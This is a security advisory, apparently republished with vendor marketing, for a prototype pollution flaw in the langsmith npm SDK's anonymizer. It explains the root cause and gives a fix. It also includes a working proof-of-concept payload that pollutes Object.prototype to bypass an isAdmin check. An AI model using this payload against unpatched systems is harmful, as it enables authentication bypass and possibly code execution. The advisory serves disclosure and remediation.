Summary
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete proto Guard in Internal lodash set()
Full technical description
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk
Severity: Medium (CVSS ~5.6)
Status: Fixed in 0.5.18
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
Affected Products
| Product | Affected Versions | Component |
|---|---|---|
langsmith (npm) |
<= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
Root Cause
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}
This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
castPath()splits it into["constructor", "prototype", "polluted"]baseSet()iterates:obj.constructor→Object→Object.prototypeassignValue(Object.prototype, "polluted", value)callsbaseAssignValue()- Key is
"polluted"(not"__proto__"), so the guard is bypassed Object.prototype.polluted = value, all objects are polluted
Attack Vector via Anonymizer
The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
- Extracting string nodes,
extractStringNodes()walks an object recursively and builds dotted paths from keys - Applying regex replacements, If a string value matches a configured pattern, the node is marked for update (
anonymizer/index.ts:95) - Writing back with
set(),set(mutateValue, node.path, node.value)writes the replaced value back (anonymizer/index.ts:123)
An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}
extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
Proof of Concept
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
Timeline
| Date | Event |
|---|---|
| 2026-03-24 | Initial report submitted |
| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
Credits
Reported by: OneThing4101
Impact
Prototype pollution in a Node.js process can enable:
- Authentication bypass,
if (user.isAdmin)checks succeed on all objects - Remote Code Execution, Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach
eval()/Function()sinks - Denial of Service, Overwriting
toString,valueOf, orhasOwnPropertyon all objects - Data exfiltration, Polluting serialization methods to inject attacker-controlled values
CVE-2026-40190 has a CVSS score of 5.6 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.18); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}
As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
Frequently Asked Questions
- What is CVE-2026-40190? CVE-2026-40190 is a medium-severity security vulnerability in langsmith (npm), affecting versions <= 0.5.17. It is fixed in 0.5.18.
- How severe is CVE-2026-40190? CVE-2026-40190 has a CVSS score of 5.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langsmith are affected by CVE-2026-40190? langsmith (npm) versions <= 0.5.17 is affected.
- Is there a fix for CVE-2026-40190? Yes. CVE-2026-40190 is fixed in 0.5.18. Upgrade to this version or later.
- Is CVE-2026-40190 exploitable, and should I be worried? Whether CVE-2026-40190 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-40190 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-40190? Upgrade
langsmithto 0.5.18 or later.